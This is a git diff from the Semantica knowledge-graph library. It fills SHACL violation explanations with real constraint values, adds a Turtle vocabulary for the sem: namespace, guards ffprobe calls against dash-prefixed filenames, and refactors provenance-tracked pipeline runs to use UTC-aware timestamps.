|
||||
"min_count": self.min_count,
|
||||
"max_count": self.max_count,
|
||||
"datatype": self.datatype,
|
||||
"class_": self.class_,
|
||||
}
|
||||
|
||||
|
||||
@@ -118,10 +128,10 @@ class SHACLValidationReport:
|
||||
focus_node=v.focus_node,
|
||||
path=v.result_path or "",
|
||||
value=v.value or "",
|
||||
min_count=1,
|
||||
max_count=1,
|
||||
datatype=v.message or "",
|
||||
class_=v.message or "",
|
||||
min_count=v.min_count if v.min_count is not None else "?",
|
||||
max_count=v.max_count if v.max_count is not None else "?",
|
||||
datatype=v.datatype or "the expected datatype",
|
||||
class_=v.class_ or "the required class",
|
||||
)
|
||||
|
||||
def to_dict(self) -> Dict[str, Any]:
|
||||
@@ -208,6 +218,32 @@ def _run_pyshacl(
|
||||
shape_node = results_graph.value(result, SH.sourceShape)
|
||||
shape = str(shape_node) if shape_node is not None else None
|
||||
|
||||
# Look up the real constraint parameters from the source shape so that
|
||||
# explain_violations can render accurate values instead of placeholders.
|
||||
# Note: sh:qualifiedMinCount / sh:qualifiedMaxCount are not handled here;
|
||||
# such violations fall back to the "?" placeholder in explain_violations.
|
||||
min_count: Optional[int] = None
|
||||
max_count: Optional[int] = None
|
||||
datatype: Optional[str] = None
|
||||
class_: Optional[str] = None
|
||||
if shape_node is not None:
|
||||
min_node = shacl_g.value(shape_node, SH.minCount)
|
||||
if min_node is not None:
|
||||
try:
|
||||
min_count = int(str(min_node))
|
||||
except (TypeError, ValueError):
|
||||
min_count = None
|
||||
max_node = shacl_g.value(shape_node, SH.maxCount)
|
||||
if max_node is not None:
|
||||
try:
|
||||
max_count = int(str(max_node))
|
||||
except (TypeError, ValueError):
|
||||
max_count = None
|
||||
dt_node = shacl_g.value(shape_node, SH.datatype)
|
||||
datatype = str(dt_node) if dt_node is not None else None
|
||||
cls_node = shacl_g.value(shape_node, SH["class"])
|
||||
class_ = str(cls_node) if cls_node is not None else None
|
||||
|
||||
v = SHACLViolation(
|
||||
focus_node=focus,
|
||||
result_path=path,
|
||||
@@ -216,6 +252,10 @@ def _run_pyshacl(
|
||||
message=msg,
|
||||
value=val,
|
||||
shape=shape,
|
||||
min_count=min_count,
|
||||
max_count=max_count,
|
||||
datatype=datatype,
|
||||
class_=class_,
|
||||
)
|
||||
if sev_str == "Violation":
|
||||
violations.append(v)
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
"""The vocabulary Semantica's exporters emit terms from.
|
||||
|
||||
Every RDF export mints terms in ``https://semantica.dev/ns#``: ``sem:text``,
|
||||
``sem:confidence``, the default ``sem:Entity`` type, and the rest. Until this
|
||||
file existed, nothing declared what those terms meant, so a consumer receiving
|
||||
an export could not tell ``sem:text`` from a typo of it, and no closed-world
|
||||
check could be run against them at all (issue #1107).
|
||||
|
||||
The document ships inside the package so it can be loaded without a network
|
||||
round trip, and is the same file intended to be served at the namespace IRI.
|
||||
|
||||
>>> from semantica.ontology.vocabulary import vocabulary_turtle
|
||||
>>> ttl = vocabulary_turtle()
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from pathlib import Path
|
||||
|
||||
VOCABULARY_FILENAME = "semantica-ns.ttl"
|
||||
|
||||
#: The namespace the vocabulary declares terms in.
|
||||
NAMESPACE = "https://semantica.dev/ns#"
|
||||
|
||||
__all__ = ["NAMESPACE", "VOCABULARY_FILENAME", "vocabulary_path", "vocabulary_turtle"]
|
||||
|
||||
|
||||
def vocabulary_path() -> Path:
|
||||
"""Filesystem path to the vocabulary document."""
|
||||
return Path(__file__).parent / VOCABULARY_FILENAME
|
||||
|
||||
|
||||
def vocabulary_turtle() -> str:
|
||||
"""The vocabulary document as Turtle."""
|
||||
return vocabulary_path().read_text(encoding="utf-8")
|
||||
@@ -0,0 +1,157 @@
|
||||
@prefix owl: <http://www.w3.org/2002/07/owl#> .
|
||||
@prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> .
|
||||
@prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> .
|
||||
@prefix xsd: <http://www.w3.org/2001/XMLSchema#> .
|
||||
@prefix dct: <http://purl.org/dc/terms/> .
|
||||
@prefix prov: <http://www.w3.org/ns/prov#> .
|
||||
@prefix time: <http://www.w3.org/2006/time#> .
|
||||
@prefix sem: <https://semantica.dev/ns#> .
|
||||
|
||||
<https://semantica.dev/ns> a owl:Ontology ;
|
||||
rdfs:label "Semantica vocabulary" ;
|
||||
rdfs:comment """Declares the terms the Semantica exporters emit in
|
||||
https://semantica.dev/ns#. Drafted from the emitting call sites in
|
||||
semantica 0.6.5: export/rdf_exporter.py, export/json_exporter.py and
|
||||
provenance/manager.py. Every term below appears in output the package
|
||||
produces today; no term has been invented for completeness.""" ;
|
||||
owl:versionInfo "0.1.0-draft" ;
|
||||
dct:created "2026-08-19"^^xsd:date .
|
||||
|
||||
# ── Classes ──────────────────────────────────────────────────────────────────
|
||||
|
||||
sem:Entity a owl:Class ;
|
||||
rdfs:label "Entity" ;
|
||||
rdfs:comment """The default type given to an extracted entity when the
|
||||
source carries no type of its own. Emitted by serialize_to_turtle as the
|
||||
fallback for entity.get("type").""" ;
|
||||
rdfs:isDefinedBy <https://semantica.dev/ns> .
|
||||
|
||||
sem:Relationship a owl:Class ;
|
||||
rdfs:label "Relationship" ;
|
||||
rdfs:comment """A reified relationship, as emitted in the JSON-LD export
|
||||
where a relationship carries sem:type, sem:source and sem:target rather than
|
||||
being written as a single triple.""" ;
|
||||
rdfs:isDefinedBy <https://semantica.dev/ns> .
|
||||
|
||||
sem:KnowledgeGraph a owl:Class ;
|
||||
rdfs:label "Knowledge Graph" ;
|
||||
rdfs:comment """The document-level type of a JSON-LD export: the @type of
|
||||
the top-level node carrying sem:entities, sem:relationships and
|
||||
sem:exportedAt. Emitted by _convert_kg_to_jsonld in export/json_exporter.py.""" ;
|
||||
rdfs:isDefinedBy <https://semantica.dev/ns> .
|
||||
|
||||
# ── Properties on an entity ──────────────────────────────────────────────────
|
||||
|
||||
sem:text a owl:DatatypeProperty ;
|
||||
rdfs:label "text" ;
|
||||
rdfs:comment """The surface text of an extracted entity. Carries the same
|
||||
intent as rdfs:label; declared separately because the exporters emit it under
|
||||
this IRI.""" ;
|
||||
rdfs:domain sem:Entity ;
|
||||
rdfs:range xsd:string ;
|
||||
rdfs:isDefinedBy <https://semantica.dev/ns> .
|
||||
|
||||
sem:confidence a owl:DatatypeProperty ;
|
||||
rdfs:label "confidence" ;
|
||||
rdfs:comment """Extractor confidence in the assertion, on the unit interval.
|
||||
Emitted for both entities and relationships, so the domain is left open rather
|
||||
than tied to sem:Entity.
|
||||
|
||||
No rdfs:range is declared, deliberately. The Turtle serializer writes the value
|
||||
bare, which the Turtle grammar reads as xsd:decimal, while the N-Triples
|
||||
serializer types it xsd:float explicitly, and those two datatypes are disjoint.
|
||||
Declaring either one would make the vocabulary contradict one of the exporters.
|
||||
Issue #1100 tracks the disagreement; a range belongs here once the serializers
|
||||
agree on one.""" ;
|
||||
rdfs:isDefinedBy <https://semantica.dev/ns> .
|
||||
|
||||
sem:metadata a owl:AnnotationProperty ;
|
||||
rdfs:label "metadata" ;
|
||||
rdfs:comment """Free-form metadata carried through from extraction. An
|
||||
annotation property because its value is an arbitrary structure rather than a
|
||||
modelled one.""" ;
|
||||
rdfs:isDefinedBy <https://semantica.dev/ns> .
|
||||
|
||||
# ── Relationship terms (JSON-LD export) ──────────────────────────────────────
|
||||
|
||||
sem:related_to a owl:ObjectProperty ;
|
||||
rdfs:label "related to" ;
|
||||
rdfs:comment """The default predicate for a relationship whose type the
|
||||
extractor did not determine. Deliberately unspecific: it asserts that two
|
||||
entities are connected and nothing about how.""" ;
|
||||
rdfs:isDefinedBy <https://semantica.dev/ns> .
|
||||
|
||||
sem:source a owl:ObjectProperty ;
|
||||
rdfs:label "source" ;
|
||||
rdfs:comment "The subject entity of a reified relationship." ;
|
||||
rdfs:domain sem:Relationship ;
|
||||
rdfs:isDefinedBy <https://semantica.dev/ns> .
|
||||
|
||||
sem:target a owl:ObjectProperty ;
|
||||
rdfs:label "target" ;
|
||||
rdfs:comment "The object entity of a reified relationship." ;
|
||||
rdfs:domain sem:Relationship ;
|
||||
rdfs:isDefinedBy <https://semantica.dev/ns> .
|
||||
|
||||
sem:type a owl:DatatypeProperty ;
|
||||
rdfs:label "type" ;
|
||||
rdfs:comment """The relationship type as a label, as emitted in the JSON-LD
|
||||
export. Distinct from rdf:type, which relates a node to a class rather than to
|
||||
a string.""" ;
|
||||
rdfs:domain sem:Relationship ;
|
||||
rdfs:range xsd:string ;
|
||||
rdfs:isDefinedBy <https://semantica.dev/ns> .
|
||||
|
||||
# ── Document-level terms (JSON-LD export) ────────────────────────────────────
|
||||
|
||||
sem:entities a owl:ObjectProperty ;
|
||||
rdfs:label "entities" ;
|
||||
rdfs:comment "Ordered list of entities in an exported graph document." ;
|
||||
rdfs:range sem:Entity ;
|
||||
rdfs:isDefinedBy <https://semantica.dev/ns> .
|
||||
|
||||
sem:relationships a owl:ObjectProperty ;
|
||||
rdfs:label "relationships" ;
|
||||
rdfs:comment "Ordered list of relationships in an exported graph document." ;
|
||||
rdfs:range sem:Relationship ;
|
||||
rdfs:isDefinedBy <https://semantica.dev/ns> .
|
||||
|
||||
sem:exportedAt a owl:DatatypeProperty ;
|
||||
rdfs:label "exported at" ;
|
||||
rdfs:comment """When the export was written, as an ISO 8601 timestamp with
|
||||
an explicit UTC offset. The range was xsd:dateTime while the exporters stamped
|
||||
with a naive datetime.now(); with the offset present (#1114) the value is a
|
||||
determinate instant, comparable against a timestamp written anywhere else, so
|
||||
the range is the stricter xsd:dateTimeStamp, which requires the offset.""" ;
|
||||
rdfs:range xsd:dateTimeStamp ;
|
||||
rdfs:isDefinedBy <https://semantica.dev/ns> .
|
||||
|
||||
sem:format a owl:DatatypeProperty ;
|
||||
rdfs:label "format" ;
|
||||
rdfs:comment """The serialization format label written on a JSON-LD
|
||||
document (currently always the literal "json-ld"). Emitted by
|
||||
JSONExporter.export_to_jsonld in export/json_exporter.py.""" ;
|
||||
rdfs:range xsd:string ;
|
||||
rdfs:isDefinedBy <https://semantica.dev/ns> .
|
||||
|
||||
# ── Temporal term (OWL-Time export) ──────────────────────────────────────────
|
||||
|
||||
sem:openEndedInterval a owl:DatatypeProperty ;
|
||||
rdfs:label "open ended interval" ;
|
||||
rdfs:comment """True when an interval has no known end. OWL-Time has no
|
||||
standard predicate for this, which is the reason the exporter mints one: an
|
||||
interval with no time:hasEnd is ambiguous between "ongoing" and "end not
|
||||
recorded", and this term resolves that in favour of the first.""" ;
|
||||
rdfs:domain time:Interval ;
|
||||
rdfs:range xsd:boolean ;
|
||||
rdfs:isDefinedBy <https://semantica.dev/ns> .
|
||||
|
||||
# ── Provenance roles ─────────────────────────────────────────────────────────
|
||||
|
||||
sem:role_generator a prov:Role ;
|
||||
rdfs:label "generator" ;
|
||||
rdfs:comment """The default role in a prov:qualifiedAssociation, used when
|
||||
an agent generated an entity rather than approving or reviewing it. Typed as
|
||||
prov:Role so that prov:hadRole has a declared value rather than an undeclared
|
||||
IRI.""" ;
|
||||
rdfs:isDefinedBy <https://semantica.dev/ns> .
|
||||
@@ -37,6 +37,7 @@ from openpyxl import load_workbook
|
||||
|
||||
from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
|
||||
|
||||
@dataclass
|
||||
|
||||
@@ -243,6 +243,14 @@ class MediaParser:
|
||||
try:
|
||||
import subprocess
|
||||
|
||||
# ffprobe's own argument parser doesn't reliably honor a bare
|
||||
# "--" end-of-options marker, so a filename starting with "-"
|
||||
# could otherwise be parsed as an option; neutralize that by
|
||||
# forcing a relative-path prefix ffprobe can't mistake for a flag.
|
||||
ffprobe_path = str(file_path)
|
||||
if ffprobe_path.startswith("-"):
|
||||
ffprobe_path = f"./{ffprobe_path}"
|
||||
|
||||
result = subprocess.run(
|
||||
[
|
||||
"ffprobe",
|
||||
@@ -252,7 +260,7 @@ class MediaParser:
|
||||
"json",
|
||||
"-show_format",
|
||||
"-show_streams",
|
||||
str(file_path),
|
||||
ffprobe_path,
|
||||
],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
|
||||
@@ -6,9 +6,14 @@ capturing all steps, inputs, outputs, and transformations.
|
||||
|
||||
Usage:
|
||||
from semantica.pipeline.pipeline_provenance import PipelineWithProvenance
|
||||
|
||||
pipeline = PipelineWithProvenance(provenance=True)
|
||||
result = pipeline.run(data)
|
||||
from semantica.pipeline import PipelineBuilder
|
||||
|
||||
builder = PipelineBuilder()
|
||||
builder.add_step("ingest", "file_ingest")
|
||||
pipeline = builder.build("my_pipeline")
|
||||
|
||||
runner = PipelineWithProvenance(pipeline, provenance=True)
|
||||
result = runner.run(data)
|
||||
# Tracks all pipeline steps with complete lineage
|
||||
|
||||
Author: Semantica Contributors
|
||||
@@ -16,26 +21,37 @@ License: MIT
|
||||
"""
|
||||
|
||||
from typing import Optional, Any, Dict, List
|
||||
from datetime import datetime
|
||||
from datetime import datetime, timezone
|
||||
import uuid
|
||||
import time
|
||||
|
||||
from .pipeline_builder import Pipeline
|
||||
from .execution_engine import ExecutionEngine
|
||||
|
||||
|
||||
class PipelineWithProvenance:
|
||||
"""Pipeline executor with complete provenance tracking."""
|
||||
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
pipeline: Pipeline,
|
||||
provenance: bool = False,
|
||||
agent_id: Optional[str] = None,
|
||||
is_automated: bool = True,
|
||||
**config,
|
||||
**engine_config,
|
||||
):
|
||||
"""Initialize pipeline with optional provenance."""
|
||||
from .pipeline import Pipeline
|
||||
"""Initialize provenance-tracked pipeline runner.
|
||||
|
||||
Args:
|
||||
pipeline: A built Pipeline instance (from PipelineBuilder.build()).
|
||||
provenance: Whether to record provenance metadata.
|
||||
agent_id: Identifier for the agent running the pipeline.
|
||||
is_automated: Whether the execution is automated (vs. human-triggered).
|
||||
**engine_config: Extra keyword arguments forwarded to ExecutionEngine.
|
||||
"""
|
||||
self._pipeline = pipeline
|
||||
self._engine = ExecutionEngine(**engine_config)
|
||||
self.provenance = provenance
|
||||
self._pipeline = Pipeline(**config)
|
||||
self._prov_manager = None
|
||||
self._agent_id = agent_id or self.__class__.__name__
|
||||
self._is_automated = is_automated
|
||||
@@ -47,15 +63,24 @@ class PipelineWithProvenance:
|
||||
except ImportError:
|
||||
self.provenance = False
|
||||
|
||||
def run(self, data: Any, source: Optional[str] = None, **kwargs):
|
||||
"""Run pipeline with provenance tracking."""
|
||||
def run(self, data: Any = None, source: Optional[str] = None, **kwargs):
|
||||
"""Run pipeline with provenance tracking.
|
||||
|
||||
Args:
|
||||
data: Input data to feed into the pipeline.
|
||||
source: Provenance source label (defaults to "pipeline_execution").
|
||||
**kwargs: Extra options forwarded to ExecutionEngine.execute_pipeline().
|
||||
|
||||
Returns:
|
||||
ExecutionResult from the engine.
|
||||
"""
|
||||
pipeline_id = f"pipeline_{uuid.uuid4().hex[:8]}"
|
||||
start_time = time.time()
|
||||
activity_started_at_time = datetime.utcnow().isoformat()
|
||||
activity_started_at_time = datetime.now(timezone.utc).isoformat()
|
||||
|
||||
result = self._pipeline.run(data, **kwargs)
|
||||
result = self._engine.execute_pipeline(self._pipeline, data=data, **kwargs)
|
||||
elapsed = time.time() - start_time
|
||||
activity_ended_at_time = datetime.utcnow().isoformat()
|
||||
activity_ended_at_time = datetime.now(timezone.utc).isoformat()
|
||||
|
||||
if self.provenance and self._prov_manager:
|
||||
self._prov_manager.track_entity(
|
||||
@@ -69,14 +94,14 @@ class PipelineWithProvenance:
|
||||
activity_started_at_time=activity_started_at_time,
|
||||
activity_ended_at_time=activity_ended_at_time,
|
||||
metadata={
|
||||
"steps": len(self._pipeline.steps) if hasattr(self._pipeline, 'steps') else 0,
|
||||
"steps": len(self._pipeline.steps),
|
||||
"duration_seconds": elapsed,
|
||||
"status": "completed"
|
||||
"status": "completed" if result.success else "failed",
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def __getattr__(self, name):
|
||||
return getattr(self._pipeline, name)
|
||||
|
||||
|
||||
@@ -61,9 +61,10 @@ License: MIT
|
||||
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Optional, Dict, Any, List
|
||||
from datetime import datetime
|
||||
import uuid
|
||||
|
||||
from ..utils.helpers import utc_now_iso
|
||||
|
||||
|
||||
@dataclass
|
||||
class BridgeAxiom:
|
||||
@@ -280,7 +281,7 @@ class TranslationChain:
|
||||
"type": layer_type,
|
||||
"value": value,
|
||||
"source": source,
|
||||
"timestamp": datetime.utcnow().isoformat(),
|
||||
"timestamp": utc_now_iso(),
|
||||
**kwargs
|
||||
}
|
||||
self.layers.append(layer)
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user